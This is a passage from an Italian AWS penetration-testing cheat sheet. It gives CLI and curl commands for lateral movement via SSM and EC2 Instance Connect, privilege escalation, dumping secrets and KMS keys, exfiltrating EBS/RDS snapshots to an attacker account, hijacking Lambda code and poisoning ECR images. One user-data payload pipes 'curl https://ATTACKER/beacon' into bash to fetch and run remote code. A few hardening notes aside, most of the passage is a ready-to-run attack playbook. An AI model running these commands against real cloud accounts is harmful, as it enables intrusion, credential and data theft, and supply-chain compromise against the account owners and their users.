aws ec2 describe-launch-template-versions --launch-template-id lt-XXXXXXXX
# Snapshots and AMIs — check access permissions, not just existence
aws ec2 describe-snapshots --owner-ids self
aws ec2 describe-snapshot-attribute --snapshot-id snap-XXXXXXXX --attribute createVolumePermission
aws ec2 describe-images --owners self
aws ec2 describe-image-attribute --image-id ami-XXXXXXXX --attribute launchPermission
# Snapshots/AMIs the account can restore because they were shared too broadly
# (often shared "public" by mistake — a classic data-exposure finding)
aws ec2 describe-snapshots --restorable-by-user-ids all --query 'Snapshots[?Encrypted==`false`]'
aws ec2 describe-images --executable-users all --owners TARGET_ACCOUNT_IDUn AMI o uno snapshot condiviso pubblicamente (all) espone l’intero contenuto del disco — spesso chiavi SSH, credenziali hardcoded, codice sorgente — a chiunque conosca l’ID. Hardening: audit periodico dei createVolumePermission/launchPermission, e Block Public Access per gli EBS snapshot a livello di account.
Endpoint EC2: https://ec2.us-east-1.amazonaws.com/ — protocollo query come STS/IAM, ma con parametri più articolati (indici numerati per i filtri):
curl --aws-sigv4 "aws:amz:us-east-1:ec2" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
-d "Action=DescribeInstances&Version=2016-11-15" \
https://ec2.us-east-1.amazonaws.com/Query consolidata:
aws ec2 describe-instances --query \
'Reservations[].Instances[].{
ID:InstanceId, PublicIP:PublicIpAddress, PrivateIP:PrivateIpAddress,
SG:SecurityGroups[].GroupId, Profile:IamInstanceProfile.Arn,
IMDS:MetadataOptions.HttpTokens
}' --output tableLateral movement senza SSH: EC2 Instance Connect e SSM #
Due vie per eseguire comandi su un’istanza senza avere la chiave SSH originale.
EC2 Instance Connect — push temporaneo di una chiave pubblica tua:
aws ec2-instance-connect send-ssh-public-key \
--instance-id i-XXXXXXXXXXXX --availability-zone us-east-1a \
--instance-os-user ec2-user --ssh-public-key file://~/.ssh/id_rsa.pub
ssh -i ~/.ssh/id_rsa ec2-user@TARGET_IPRichiede ec2-instance-connect:SendSSHPublicKey e che l’agente EC2 Instance Connect sia installato sull’istanza (default su molte AMI Amazon Linux/Ubuntu recenti).
SSM Run Command — esecuzione comandi senza SSH, se l’istanza ha l’agente SSM attivo e un ruolo con AmazonSSMManagedInstanceCore. SSM usa il protocollo JSON 1.1 con X-Amz-Target (come Secrets Manager, visto più sotto).
Endpoint: https://ssm.us-east-1.amazonaws.com/
curl --aws-sigv4 "aws:amz:us-east-1:ssm" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonSSM.SendCommand" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"InstanceIds":["i-XXXXXXXXXXXX"],"DocumentName":"AWS-RunShellScript","Parameters":{"commands":["id"]}}' \
https://ssm.us-east-1.amazonaws.com/
# Run a command and capture its output
COMMAND_ID=$(aws ssm send-command \
--instance-ids "i-XXXXXXXXXXXX" \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["id","cat /etc/passwd"]' \
--query 'Command.CommandId' --output text)
aws ssm get-command-invocation \
--command-id "$COMMAND_ID" --instance-id "i-XXXXXXXXXXXX"Esegue come root su Linux o SYSTEM su Windows per default — è uno dei percorsi di lateral movement più diretti in ambienti EC2, e genera meno rumore di un RunInstances perché non crea nessuna risorsa nuova.
Sessione interattiva equivalente a una shell:
aws ssm start-session --target i-XXXXXXXXXXXXSSM Port Forwarding — tunnel verso servizi interni non esposti in rete, bypassando i security group:
# Forward a port on the instance itself to your local machine
aws ssm start-session \
--target i-XXXXXXXXXXXX \
--document-name AWS-StartPortForwardingSession \
--parameters '{"portNumber":["5432"],"localPortNumber":["5432"]}'
# Forward THROUGH the instance to a remote host it can reach (e.g. an RDS
# endpoint reachable only from inside the VPC)
aws ssm start-session \
--target i-XXXXXXXXXXXX \
--document-name AWS-StartPortForwardingSessionToRemoteHost \
--parameters '{"host":["internal-rds.example.com"],"portNumber":["5432"],"localPortNumber":["5432"]}'Finché l’istanza ha l’agente SSM e il ruolo giusto, il tunnel funziona indipendentemente da qualsiasi regola firewall tra te e il servizio target — è il modo più pulito per raggiungere un database interno senza aprire nulla.
Modifica User Data: code execution al prossimo boot #
Se hai ec2:ModifyInstanceAttribute + ec2:StopInstances/ec2:StartInstances, inietti uno script nello user-data che viene eseguito come root al riavvio — senza SSH né SSM, senza agenti preinstallati:
# Encode payload — cloud-init runs this as root on next start
printf '#!/bin/bash\ncurl -s https://ATTACKER/beacon | bash' | base64 > /tmp/ud.b64
aws ec2 modify-instance-attribute \
--instance-id i-XXXXXXXXXXXX \
--user-data file:///tmp/ud.b64
# stop + start (NOT reboot) to trigger cloud-init re-execution
aws ec2 stop-instances --instance-ids i-XXXXXXXXXXXX
aws ec2 start-instances --instance-ids i-XXXXXXXXXXXXSu molte AMI cloud-init esegue lo user-data solo al primo boot — aggiungi rm -rf /var/lib/cloud/instances/* all’inizio del payload per forzare la riesecuzione anche su istanze già inizializzate.
EC2 Serial Console #
Sulle istanze Nitro: accesso diretto alla console seriale, bypass totale di SSH e SSM, anche se l’istanza non risponde alla rete:
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id i-XXXXXXXXXXXX \
--serial-port 0 \
--ssh-public-key file://~/.ssh/id_rsa.pub
ssh -i ~/.ssh/id_rsa i-XXXXXXXXXXXX.port0@serial-console.ec2-instance-connect.us-east-1.awsNessuna porta speciale: SSH standard (22). L’endpoint varia per region (alcune usano il formato ec2-serial-console.REGION.api.aws — verifica la tabella AWS prima). Hai 60 secondi dopo send-serial-console-ssh-public-key prima che la chiave venga rimossa. Richiede ec2-instance-connect:SendSerialConsoleSSHPublicKey. Utile su istanze in stato degradato, con SSH bloccato dai security group, o quando SSM non risponde.
VPC Peering, Transit Gateway e connettività cross-account #
# VPC peering — may include connections to other AWS accounts
aws ec2 describe-vpc-peering-connections
# Transit Gateway — hub for multiple VPCs and on-prem connections
aws ec2 describe-transit-gateways
aws ec2 describe-transit-gateway-attachments
# VPN tunnels and Direct Connect links to on-prem
aws ec2 describe-vpn-connections
aws directconnect describe-connectionsUn VPC peering cross-account verso un VPC senza segmentazione è lateral movement diretto: basta raggiungere l’IP privato dall’istanza che controlli, senza assumere ruoli aggiuntivi.
Route53: topologia interna e subdomain takeover #
aws route53 list-hosted-zones
aws route53 list-resource-record-sets --hosted-zone-id ZONE_IDLe hosted zone private rivelano hostname mai esposti pubblicamente: database, API interne, endpoint admin. Cerca record CNAME che puntano a risorse Elastic Beanstalk/S3/CloudFront/ELB eliminate — sono candidati a subdomain takeover: se la risorsa target non esiste più, chiunque la ricrei nella propria infrastruttura eredita quel record DNS.
Password amministratore Windows #
aws ec2 get-password-data --instance-id i-XXXXXXXXXXXXFunziona solo su istanze Windows lanciate con key pair EC2. Il campo PasswordData è cifrato con la chiave pubblica della key pair: serve la privata per decifrarlo.
Lambda #
aws lambda list-functions
aws lambda get-function --function-name FUNCTION_NAME
aws lambda get-function-configuration --function-name FUNCTION_NAMEEquivalente curl di list-functions (REST-JSON, GET su path fisso):
curl --aws-sigv4 "aws:amz:us-east-1:lambda" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
"https://lambda.us-east-1.amazonaws.com/2015-03-31/functions?MaxItems=50"Analisi più approfondita #
aws lambda list-versions-by-function --function-name FUNCTION_NAME
aws lambda list-aliases --function-name FUNCTION_NAME
# Execution role: the real privilege the function runs with
aws lambda get-function-configuration --function-name FUNCTION_NAME --query 'Role'
aws iam list-attached-role-policies --role-name EXTRACTED_ROLE_NAME
aws lambda list-event-source-mappings --function-name FUNCTION_NAME
aws lambda get-function-url-config --function-name FUNCTION_NAME
aws lambda get-policy --function-name FUNCTION_NAMESfruttamento: lambda:UpdateFunctionCode
#
Se puoi modificare il codice di una funzione esistente ma non crearne una nuova, puoi dirottare il suo ruolo di esecuzione senza bisogno di iam:PassRole (la funzione ha già quel ruolo assegnato):
# Build a payload matching the function's existing handler name
zip payload.zip lambda_function.py
aws lambda update-function-code --function-name TARGET_FUNCTION --zip-file fileb://payload.zip
aws lambda invoke --function-name TARGET_FUNCTION output.jsonInvocazione diretta via API REST #
POST https://lambda.REGION.amazonaws.com/2015-03-31/functions/FUNCTION_NAME/invocationscurl --aws-sigv4 "aws:amz:us-east-1:lambda" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-X POST -d '{"test":"payload"}' \
"https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/FUNCTION_NAME/invocations"Function URL pubblica (AuthType: NONE, verificalo con get-function-url-config), senza alcuna credenziale:
curl -X POST "https://FUNCTION_URL_ID.lambda-url.us-east-1.on.aws/" \
-H "Content-Type: application/json" -d '{"test":"payload"}'Credenziali del ruolo dall’interno della funzione #
Lambda non espone IMDS: le credenziali del ruolo di esecuzione sono recuperabili tramite l’endpoint locale container credentials, già puntato dalle variabili d’ambiente del processo:
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_FULL_URI" \
-H "Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN"Lo stesso meccanismo vale per i task ECS su Fargate/EC2 (sezione ECS più sotto).
Secrets Manager, SSM e KMS #
Secrets Manager #
aws secretsmanager list-secrets
aws secretsmanager describe-secret --secret-id SECRET_NAME
aws secretsmanager list-secret-version-ids --secret-id SECRET_NAME
aws secretsmanager get-secret-value --secret-id SECRET_NAMEEquivalente curl (JSON 1.1, X-Amz-Target seleziona l’operazione, non il path):
Endpoint: https://secretsmanager.us-east-1.amazonaws.com/ — unico path (/) per tutte le operazioni.
curl --aws-sigv4 "aws:amz:us-east-1:secretsmanager" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: secretsmanager.GetSecretValue" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"SecretId":"SECRET_NAME"}' \
https://secretsmanager.us-east-1.amazonaws.com/SSM Parameter Store #
aws ssm describe-parameters
aws ssm get-parameter --name /app/db/password --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryptionEndpoint: https://ssm.us-east-1.amazonaws.com/, stesso protocollo JSON 1.1 visto sopra per Run Command — qui con X-Amz-Target: AmazonSSM.GetParametersByPath:
curl --aws-sigv4 "aws:amz:us-east-1:ssm" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonSSM.GetParametersByPath" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"Path":"/","Recursive":true,"WithDecryption":true}' \
https://ssm.us-east-1.amazonaws.com/Secrets Manager e SSM Parameter Store non sono intercambiabili: Secrets Manager ha rotazione automatica integrata; SSM è più generico e usa SecureString per i valori cifrati (String/StringList sono già in chiaro). Entrambi, per i valori cifrati, dipendono da KMS: senza kms:Decrypt sulla chiave, --with-decryption fallisce anche con i permessi SSM corretti.
Non è buona pratica scaricare indiscriminatamente ogni segreto visibile: enumera prima i metadati, recupera solo quelli necessari a dimostrare l’impatto.
KMS #
aws kms list-keys
aws kms describe-key --key-id KEY_ID
aws kms get-key-policy --key-id KEY_ID --policy-name defaultEndpoint: https://kms.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: TrentService.ListKeys — TrentService è il nome storico interno dell’API KMS, resta nell’header anche oggi):
curl --aws-sigv4 "aws:amz:us-east-1:kms" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: TrentService.ListKeys" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://kms.us-east-1.amazonaws.com/Vedere una chiave non implica poterla usare: kms:Decrypt/kms:Encrypt sono permessi separati, valutati sia sulla key policy che sulle policy IAM del chiamante.
Privilege escalation: kms:PutKeyPolicy
#
Prerequisito: kms:PutKeyPolicy su una chiave che protegge dati rilevanti (es. un volume EBS, un bucket S3 SSE-KMS, un segreto). Impatto: riscrivi la key policy per concederti kms:Decrypt diretto, bypassando qualunque restrizione pensata per quella chiave — anche se non hai alcun permesso IAM “legittimo” sulla risorsa cifrata, se riesci a decifrarla con la chiave ne leggi il contenuto.
aws kms get-key-policy --key-id KEY_ID --policy-name default --output text > current_policy.json
# Edit current_policy.json: add a Statement granting kms:Decrypt to your own principal ARN
aws kms put-key-policy --key-id KEY_ID --policy-name default --policy file://current_policy.jsonMitigazione lato defender: la key policy dovrebbe limitare kms:PutKeyPolicy a un ruolo amministrativo dedicato, separato da chi usa la chiave operativamente.
Decifrare dati direttamente con kms:Decrypt
#
Con kms:Decrypt sulla chiave, decifri dati cifrati lato server senza passare per il servizio applicativo che li ha prodotti (es. un valore estratto da un segreto, o un blob SSE-KMS):
aws kms decrypt \
--ciphertext-blob fileb://encrypted.bin \
--output text --query Plaintext | base64 -d > decrypted.txtcurl --aws-sigv4 "aws:amz:us-east-1:kms" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: TrentService.Decrypt" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"CiphertextBlob":"BASE64_CIPHERTEXT"}' \
https://kms.us-east-1.amazonaws.com/Il CiphertextBlob contiene già i metadati della chiave: KMS sa da solo quale usare, non devi specificarla. Il ciphertext va passato in base64.
Exfiltration tramite snapshot: EBS e RDS, senza toccare la risorsa viva #
Un pattern spesso trascurato: non serve avere accesso di rete o credenziali applicative a un’istanza o a un database per leggerne i dati. Basta poter condividere uno snapshot con il proprio account (o con uno pubblico) e ricostruirlo altrove, fuori dal perimetro di monitoraggio del target.
EBS #
Endpoint: https://ec2.us-east-1.amazonaws.com/ (stesso endpoint EC2 query visto sopra — ModifySnapshotAttribute è solo un’altra Action).
# If no snapshot exists yet: create one from a target volume (ec2:CreateSnapshot)
aws ec2 create-snapshot --volume-id vol-XXXXXXXX --description "backup"
# Prerequisite: ec2:ModifySnapshotAttribute on the snapshot
aws ec2 modify-snapshot-attribute \
--snapshot-id snap-XXXXXXXX \
--attribute createVolumePermission \
--operation-type add --user-ids YOUR_ATTACKER_ACCOUNT_ID
# From the attacker account: create a volume from the shared snapshot
aws ec2 create-volume --snapshot-id snap-XXXXXXXX --availability-zone us-east-1a
# Attach it to an instance you control and mount it — the data is now
# fully readable outside the target account's logging/monitoring scope
aws ec2 attach-volume --volume-id vol-XXXXXXXX --instance-id i-YOUR_INSTANCE --device /dev/sdfRDS #
Endpoint: https://rds.us-east-1.amazonaws.com/ (protocollo query, come EC2/STS/IAM).
# Prerequisite: rds:ModifyDBSnapshotAttribute on an existing snapshot
aws rds modify-db-snapshot-attribute \
--db-snapshot-identifier SNAPSHOT_ID \
--attribute-name restore \
--values-to-add YOUR_ATTACKER_ACCOUNT_ID
# From the attacker account: restore a full new DB instance from it
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier exfil-restore \
--db-snapshot-identifier SNAPSHOT_IDImpatto: in entrambi i casi ottieni una copia completa e persistente dei dati, senza alcuna interazione diretta con la risorsa originale — nessuna connessione di rete verso il target, nessuna query eseguita contro il DB vivo. Verifica sempre se lo snapshot è cifrato con una CMK KMS: se lo è, serve anche accesso alla chiave (vedi sopra) o condividerla a sua volta con kms:PutKeyPolicy/key grant, altrimenti la condivisione dello snapshot da sola non basta a leggerne il contenuto nell’account di destinazione.
Cognito Identity Pools: credenziali IAM senza autenticazione #
Se un’app web/mobile ha un Identity Pool ID hardcoded (è frequente trovarlo nel JS lato client o nella configurazione dell’app) e il pool permette accesso guest, puoi ottenere credenziali IAM reali senza alcuna autenticazione:
aws cognito-identity get-id --identity-pool-id IDENTITY_POOL_ID --no-sign-request
aws cognito-identity get-credentials-for-identity --identity-id IDENTITY_ID --no-sign-requestEquivalente curl, raw HTTP, senza firma (queste due chiamate non richiedono credenziali — sono il punto di accesso iniziale):
Endpoint: https://cognito-identity.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AWSCognitoIdentityService.OperationName — nessuna firma SigV4 necessaria per GetId/GetCredentialsForIdentity su un pool unauth).
curl -X POST https://cognito-identity.us-east-1.amazonaws.com/ \
-H "X-Amz-Target: AWSCognitoIdentityService.GetId" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"IdentityPoolId":"IDENTITY_POOL_ID"}'
curl -X POST https://cognito-identity.us-east-1.amazonaws.com/ \
-H "X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"IdentityId":"IDENTITY_ID_FROM_ABOVE"}'La seconda risposta contiene AccessKeyId, SecretKey, SessionToken pronti da usare. Il ruolo unauth di default (Cognito_<PoolName>Unauth_Role) spesso non ha permessi, ma va sempre testato — e le credenziali ottenute tramite il flusso “enhanced” portano una session policy restrittiva anche se il ruolo stesso sarebbe più permissivo: se il pool ha il flusso “Basic” abilitato, puoi bypassare quella restrizione passando dal token OpenID:
aws cognito-identity get-open-id-token --identity-id IDENTITY_ID --no-sign-request
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" \
--role-session-name pivot \
--web-identity-token TOKEN_FROM_ABOVECognito User Pools: enumerazione e accesso #
I User Pool (distinti dagli Identity Pool visti sopra) gestiscono registrazione, login, MFA e recupero password degli utenti. Spesso con policy deboli o auth flow abusabili.
aws cognito-idp list-user-pools --max-results 10
aws cognito-idp describe-user-pool --user-pool-id POOL_ID
aws cognito-idp list-user-pool-clients --user-pool-id POOL_ID
aws cognito-idp describe-user-pool-client --user-pool-id POOL_ID --client-id CLIENT_IDSe ExplicitAuthFlows del client include ALLOW_USER_PASSWORD_AUTH, il login passa username+password in chiaro (niente SRP):
aws cognito-idp initiate-auth \
--auth-flow USER_PASSWORD_AUTH \
--client-id CLIENT_ID \
--auth-parameters USERNAME=target@email.com,PASSWORD='Password123!'User enumeration: se PreventUserExistenceErrors non è abilitato, Cognito distingue username inesistente (UserNotFoundException) da password errata (NotAuthorizedException) — permette di confermare account esistenti.
Con credenziali IAM che hanno cognito-idp:AdminInitiateAuth, gli admin flow scavalcano le protezioni lato client:
aws cognito-idp admin-initiate-auth \
--user-pool-id POOL_ID --client-id CLIENT_ID \
--auth-flow ADMIN_USER_PASSWORD_AUTH \
--auth-parameters USERNAME=target@email.com,PASSWORD='Password123!'EKS: cluster Kubernetes #
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAMEdescribe-cluster restituisce l’endpoint API del cluster e, soprattutto, se l’endpoint è pubblico (resourcesVpcConfig.endpointPublicAccess: true). Con eks:DescribeCluster + eks:AccessKubernetesApi ti generi un kubeconfig e autentichi al control plane usando le credenziali AWS:
aws eks update-kubeconfig --name CLUSTER_NAME --region us-east-1
# aws-iam-authenticator converte la credenziale IAM in un token K8s
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl auth can-i --listLa mappatura IAM→RBAC è nel ConfigMap aws-auth: un’identità mappata a system:masters è admin del cluster. Una volta dentro, i service account token montati nei pod (/var/run/secrets/kubernetes.io/serviceaccount/token) e i secret del cluster sono il passo successivo.
API Gateway: endpoint senza autenticazione #
aws apigateway get-rest-apis
aws apigateway get-resources --rest-api-id API_ID
aws apigateway get-stages --rest-api-id API_ID
aws apigateway get-method --rest-api-id API_ID --resource-id RES_ID --http-method GETCerca metodi con authorizationType: NONE — endpoint invocabili senza credenziali. L’URL di invoke ha forma https://API_ID.execute-api.REGION.amazonaws.com/STAGE/PATH. Spesso espongono funzioni Lambda interne pensate per essere raggiunte solo dal frontend, senza controlli server-side.
AWS Organizations: mappa dell’intera org #
aws organizations describe-organization
aws organizations list-accounts
aws organizations list-roots
aws organizations list-organizational-units-for-parent --parent-id ROOT_ID
aws organizations list-policies --filter SERVICE_CONTROL_POLICY
aws organizations describe-policy --policy-id POLICY_IDlist-accounts dà tutti gli account dell’organizzazione — il vero perimetro, non solo quello in cui ti trovi. Le SCP spiegano perché certe azioni falliscono con AccessDenied anche quando l’IAM le consentirebbe: una SCP a livello di OU può bloccare l’azione a monte. Da un account management, il ruolo OrganizationAccountAccessRole è spesso assumibile su ogni account figlio — pivot immediato sull’intera org.
OpenSearch / Elasticsearch #
aws opensearch list-domain-names
aws opensearch describe-domain --domain-name DOMAIN_NAME
aws es list-domain-names # legacy CLI name
aws es describe-elasticsearch-domain --domain-name DOMAIN_NAMEControlla AccessPolicies nella risposta: un domain con policy "Principal": "*" e nessuna condition IP è interrogabile pubblicamente via HTTP, senza credenziali AWS. L’endpoint è nel campo Endpoint/Endpoints:
# If the access policy is open, query the index directly
curl "https://DOMAIN_ENDPOINT/_cat/indices?v"
curl "https://DOMAIN_ENDPOINT/INDEX_NAME/_search?pretty&size=20"Spesso contengono log applicativi, dati PII o interi dump di database indicizzati per la ricerca.
Step Functions: dati sensibili nell’execution history #
aws stepfunctions list-state-machines
aws stepfunctions describe-state-machine --state-machine-arn SM_ARN
aws stepfunctions list-executions --state-machine-arn SM_ARN
aws stepfunctions get-execution-history --execution-arn EXEC_ARNget-execution-history è il punto interessante: ogni transizione di stato registra l’input e l’output completi passati tra gli step. Se la state machine muove credenziali, token o dati utente tra una Lambda e l’altra, finiscono in chiaro nella history — leggibili con il solo states:GetExecutionHistory.
CloudFormation: template e output #
Oltre al privesc via PassRole (visto sopra), CloudFormation è una miniera di segreti in lettura:
aws cloudformation list-stacks
aws cloudformation describe-stacks --stack-name STACK_NAME --query 'Stacks[].Outputs'
aws cloudformation get-template --stack-name STACK_NAME
aws cloudformation list-stack-resources --stack-name STACK_NAME
aws cloudformation describe-stack-events --stack-name STACK_NAMEGli Outputs spesso contengono endpoint, ARN e — per cattiva pratica frequente — password o chiavi passate come parametro. get-template rivela l’intera infrastruttura come codice: default dei parametri, risorse, e a volte secret hardcoded direttamente nel template invece che referenziati da Secrets Manager.
Glue: credenziali nelle connection #
aws glue get-databases
aws glue get-tables --database-name DB_NAME
aws glue get-connections
aws glue get-connection --name CONNECTION_NAMEget-connections è il bersaglio: le connection Glue verso database esterni contengono spesso username e password in ConnectionProperties (USERNAME, PASSWORD), restituiti con il solo glue:GetConnection. Il data catalog (get-tables) rivela inoltre schema e location S3 di ogni dataset, utile per sapere dove cercare i dati reali.
CI/CD: CodeBuild e CodePipeline #
aws codebuild list-projects
aws codebuild batch-get-projects --names PROJECT_NAME
aws codepipeline list-pipelines
aws codepipeline get-pipeline --name PIPELINE_NAMEbatch-get-projects mostra environment.environmentVariables: variabili di build spesso con token, credenziali di deploy o chiavi API in chiaro (PLAINTEXT) invece che da Secrets Manager/SSM. Il campo serviceRole è il ruolo con cui gira la build — se puoi modificare il buildspec di un progetto (codebuild:UpdateProject o commit sul repo sorgente) esegui comandi arbitrari in quel contesto, ereditandone i privilegi: è l’equivalente CI/CD del dirottamento di una Lambda.
Hardening: variabili sensibili sempre come SECRETS_MANAGER/PARAMETER_STORE, mai PLAINTEXT; service role con least privilege; revisione obbligatoria sul buildspec.
SES: invio email dal dominio del target #
Se l’identità compromessa ha accesso a SES e il target ha un dominio/indirizzo verificato, puoi inviare email che partono legittimamente firmate (SPF/DKIM validi) dal loro dominio — vettore di phishing interno molto più credibile di un dominio esterno.
aws ses list-identities
aws ses get-identity-verification-attributes --identities example.com
aws ses get-send-quotaget-identity-verification-attributes conferma quali domini sono Success (verificati e usabili). L’impatto da documentare in un engagement è questo: una singola identità con ses:SendEmail trasforma una compromissione cloud in un canale di phishing ad alta fiducia verso dipendenti o clienti.
Hardening: restringere ses:SendEmail/SendRawEmail alle sole identità applicative che ne hanno bisogno, con condition sul FromAddress; monitorare picchi anomali di invio.
IAM Identity Center (SSO) #
In ambienti enterprise l’accesso è spesso centralizzato su IAM Identity Center (ex AWS SSO), non su utenti IAM locali. Enumerare permission set e assegnazioni mostra la vera mappa di chi accede a cosa su tutti gli account dell’org:
aws sso-admin list-instances
aws sso-admin list-permission-sets --instance-arn INSTANCE_ARN
aws sso-admin describe-permission-set --instance-arn INSTANCE_ARN --permission-set-arn PS_ARN
aws sso-admin list-account-assignments --instance-arn INSTANCE_ARN \
--account-id ACCOUNT_ID --permission-set-arn PS_ARN
# Identity store: users and groups behind the assignments
aws identitystore list-users --identity-store-id STORE_ID
aws identitystore list-groups --identity-store-id STORE_IDUn permission set con policy troppo larghe assegnato a un gruppo ampio è un privesc a livello di organizzazione: chiunque in quel gruppo eredita quei permessi su ogni account collegato.
RDS, ECR ed ECS #
RDS #
Endpoint: https://rds.us-east-1.amazonaws.com/ (query protocol — identico a quello usato sopra per lo snapshot sharing).
aws rds describe-db-instances
aws rds describe-db-clusters
aws rds describe-db-snapshots
aws rds describe-db-snapshot-attributes --db-snapshot-identifier SNAPSHOT_IDVedere endpoint e configurazione di rete non equivale ad avere accesso al database: serve raggiungibilità di rete e credenziali applicative valide. Controlla sempre gli snapshot condivisi pubblicamente.
ECR #
Endpoint: https://api.ecr.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AmazonEC2ContainerRegistry_V20150921.DescribeRepositories — nota l’hostname api.ecr.*, diverso dal signing name ecr usato in --aws-sigv4):
curl --aws-sigv4 "aws:amz:us-east-1:ecr" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonEC2ContainerRegistry_V20150921.DescribeRepositories" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://api.ecr.us-east-1.amazonaws.com/
aws ecr describe-repositories
aws ecr describe-images --repository-name REPO_NAME
aws ecr get-login-password --region REGIONget-login-password non enumera nulla: restituisce una credenziale temporanea (12h) per il registry Docker.
aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com
docker pull ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest
docker history --no-trunc ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latestImage poisoning (supply chain): con ecr:PutImage + push sul repository, puoi ri-pubblicare un’immagine malevola sullo stesso tag di una legittima. Chiunque faccia poi docker pull di quel tag (deploy ECS/EKS, CI/CD) esegue il tuo codice.
# Rebuild the image with an injected payload, keep the SAME tag
docker build -t ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest .
docker push ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latestHardening: abilita tag immutability sul repository (aws ecr put-image-tag-mutability --image-tag-mutability IMMUTABLE) — impedisce la sovrascrittura di un tag esistente — e lo scan on-push per intercettare immagini note vulnerabili.
ECS #
Endpoint: https://ecs.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AmazonEC2ContainerServiceV20141113.ListClusters):
curl --aws-sigv4 "aws:amz:us-east-1:ecs" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonEC2ContainerServiceV20141113.ListClusters" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://ecs.us-east-1.amazonaws.com/
aws ecs list-clusters
aws ecs list-services --cluster CLUSTER_NAME
aws ecs list-tasks --cluster CLUSTER_NAME
aws ecs describe-task-definition --task-definition TASK_DEF_NAMEDue ruoli distinti: execution role (executionRoleArn, infrastrutturale: pull immagine, log, secret injection) vs task role (taskRoleArn, il privilegio dell’applicazione in esecuzione).
containerDefinitions[].environment = variabili in chiaro; containerDefinitions[].secrets = riferimenti a Secrets Manager/SSM, non il valore stesso.
Shell interattiva in un container ECS: ecs:ExecuteCommand
#
Se il task ha enableExecuteCommand: true e l’agente SSM nel container, puoi ottenere una shell diretta senza passare da nessun bastion:
aws ecs execute-command \
--cluster CLUSTER_NAME --task TASK_ID \
--container CONTAINER_NAME --interactive \
--command "/bin/sh"Richiede ecs:ExecuteCommand più ssmmessages:CreateControlChannel/CreateDataChannel. Una volta dentro, le credenziali del task role sono ottenibili come su Lambda:
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"SQS e SNS: dati in transito #
Le code di messaggi sono spesso trascurate rispetto a S3/Secrets Manager, ma trasportano payload applicativi che includono token, ID di sessione o dati utente.
Endpoint SQS: https://sqs.us-east-1.amazonaws.com/ (JSON 1.0, X-Amz-Target: AmazonSQS.ReceiveMessage). Endpoint SNS: https://sns.us-east-1.amazonaws.com/ (query protocol, come STS/IAM/EC2).
curl --aws-sigv4 "aws:amz:us-east-1:sqs" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonSQS.ReceiveMessage" \
-H "Content-Type: application/x-amz-json-1.0" \
-d '{"QueueUrl":"QUEUE_URL","MaxNumberOfMessages":10}' \
https://sqs.us-east-1.amazonaws.com/
aws sqs list-queues
aws sqs get-queue-attributes --queue-url QUEUE_URL --attribute-names All
# Peek at messages without deleting them from the queue — VisibilityTimeout
# determines how long they stay hidden from other consumers after this
aws sqs receive-message --queue-url QUEUE_URL --max-number-of-messages 10
aws sns list-topics
